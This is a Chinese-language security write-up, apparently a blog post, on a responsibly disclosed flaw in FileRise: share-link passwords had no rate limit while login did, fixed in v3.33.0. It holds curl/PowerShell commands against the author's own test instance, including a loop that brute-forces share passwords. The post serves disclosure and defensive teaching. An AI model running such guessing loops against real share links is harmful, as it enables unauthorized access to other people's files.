同一个系统,登录有防护,分享链接却没有
这是在测上一条漏洞(FileRise 的 NTFS 数据流问题)时顺手发现的,比那条简单很多。漏洞已私有披露,作者在 v3.33.0 修了。
怎么注意到的
判断一个系统安不安全,有个省力的角度:看它对自己的不同入口,是不是用了同一套标准。
开发者往往在"最重要的地方"设好防护,却在旁边一条不起眼的小路上忘了装同样的锁。这种"防护不一致",本身就是线索。
FileRise 允许用户创建"带密码的分享链接"——把某个文件夹共享出去,别人凭链接和密码访问。登录接口是设了限流的,这个我前面测会话固定时已经领教过:连续失败几次就返回 429。那分享密码这条路呢?有没有同样的防护?
对比代码
登录那边,失败计数、锁定、429,都在 AuthController 里:
// rate-limit
$ip = AuthModel::getClientIp($_SERVER);
$key = AuthModel::getFailedLoginKey($ip, $username); // 按 IP + 用户名
$ipKey = $this->getFailedLoginIpKey($ip);
$attemptsFile = USERS_DIR . 'failed_logins.json';
$failed = AuthModel::loadFailedAttempts($attemptsFile);
$now = time();
$this->resetExpiredFailedLoginEntry($failed, $key, $now);
$this->resetExpiredFailedLoginEntry($failed, $ipKey, $now);
if (
$this->isFailedLoginLocked($failed, $key, self::FAILED_LOGIN_USER_LIMIT, $now) ||
$this->isFailedLoginLocked($failed, $ipKey, self::FAILED_LOGIN_IP_LIMIT, $now)
) {
AuthModel::logFailedLogin($ip, $username, 'lockout', $_SERVER['HTTP_USER_AGENT'] ?? '');
http_response_code(429); // 超限就 429
echo json_encode(['error' => 'Too many failed login attempts. Please try again later.']);
exit();
}
失败一次,incrementFailedLoginEntry 记一笔,落进 failed_logins.json。到阈值,锁。
再看分享密码。入口是 /api/folder/shareFolder.php,转到 FolderController::shareFolder(),密码校验一路走到 FolderModel::getSharedFileInfo($token, $relPath, $providedPass)。这里没有任何失败计数——密码错了就返回"密码不对",错多少次都不记,也不锁。整个流程里找不到 429,找不到类似登录那样的 attempts 存储。
一边有锁,一边裸奔。同一台实例,两套标准。
复现
环境是我自己的部署。先登录普通账号(分享链接得先由账号创建),建一个带密码的分享:
$u = "http://192.168.100.144"
Set-Content login.json '{"username":"alice","password":"***"}'
curl.exe -s -c ck.txt -X POST -H "Content-Type: application/json" --data-binary "@login.json" "$u/api/auth/auth.php"
$tok = (curl.exe -s -b ck.txt "$u/api/auth/token.php" | ConvertFrom-Json).csrf_token
Set-Content sh.json '{"folder":"share","allowUpload":0,"mode":"browse","password":"s3cr3t"}'
curl.exe -s -b ck.txt -X POST -H "X-CSRF-Token: $tok" -H "Content-Type: application/json" --data-binary "@sh.json" "$u/api/folder/createShareFolderLink.php"
返回一个分享 token。然后匿名(不带任何登录态)开始猜密码——正确的先试一次,确认路径通:
GET /api/folder/shareFolder.php?token=<token>&pass=s3cr3t
correct -> [200]
然后连着打 15 次错误密码:
1..15 | ForEach-Object {
$c = curl.exe -s -o NUL -w "%{http_code}" "$u/api/folder/shareFolder.php?token=$tk&pass=wrong$_"
"attempt $_ -> $c"
}
输出:
attempt 1 -> 403
attempt 2 -> 403
attempt 3 -> 403
attempt 4 -> 403
attempt 5 -> 403
attempt 6 -> 403
attempt 7 -> 403
attempt 8 -> 403
attempt 9 -> 403
attempt 10 -> 403
attempt 11 -> 403
attempt 12 -> 403
attempt 13 -> 403
attempt 14 -> 403
attempt 15 -> 403
15 次,全是 403。没有 429,没有延迟,没有锁定。想试多少次试多少次。(正式提交时我打的更多,25 次、30 次,结果一样,一个 429 都没有。)
作为对照,同一台实例上打登录接口,连着错:
login 1 -> 401
login 2 -> 401
...
login 5 -> 429 <- 从这里开始锁
登录第 5 次就 429 了。分享密码那边,15 次、25 次,纹丝不动。
影响
分享密码是用户自己设的短字符串。一个拿到分享链接的人,可以无限次地慢速猜,猜中为止——它没有登录那套"错几次就锁一会儿"的成本。猜中之后,受保护的内容就能浏览或下载(取决于分享的权限设置)。
攻击者不需要任何登录,只要链接。这一点和上一条漏洞一样:没有前提条件,不需要内部权限、不需要特殊部署,拿到链接就能打。
严重度上,它不算高——爆破一个短密码,危害取决于密码强度和共享的内容。但"登录有限流、分享密码没有"这个落差是实打实的,而且修起来就是一行事。
披露和修复
和上一条一起走的 GitHub 私有报告。内容很短,核心就一句:同一实例里,登录有失败限流,分享密码验证完全没记失败次数。
作者在 v3.33.0 修了,更新日志:
Password-protected file and folder shares now limit repeated verification attempts and return a retry interval when the limit is reached.
复测确认,同一个分享链接,错误密码前 5 次返回 403,第 6 次开始返回 429——限流接上了:
attempt 1 -> 403
attempt 2 -> 403
attempt 3 -> 403
attempt 4 -> 403
attempt 5 -> 403
attempt 6 -> 429 <- 现在这里开始锁
...
attempt 15 -> 429
补一句
这条洞本身不稀奇,同类系统里"某条入口忘了限流"很常见。它提醒我的是一件事:看一个系统有没有防护,不能看"关键位置有没有装锁",得看"同一类风险,是不是每条入口都装了同一把锁"。 只要有一条路漏了,前面设的那些就白设——攻击者不会走你装好锁的门。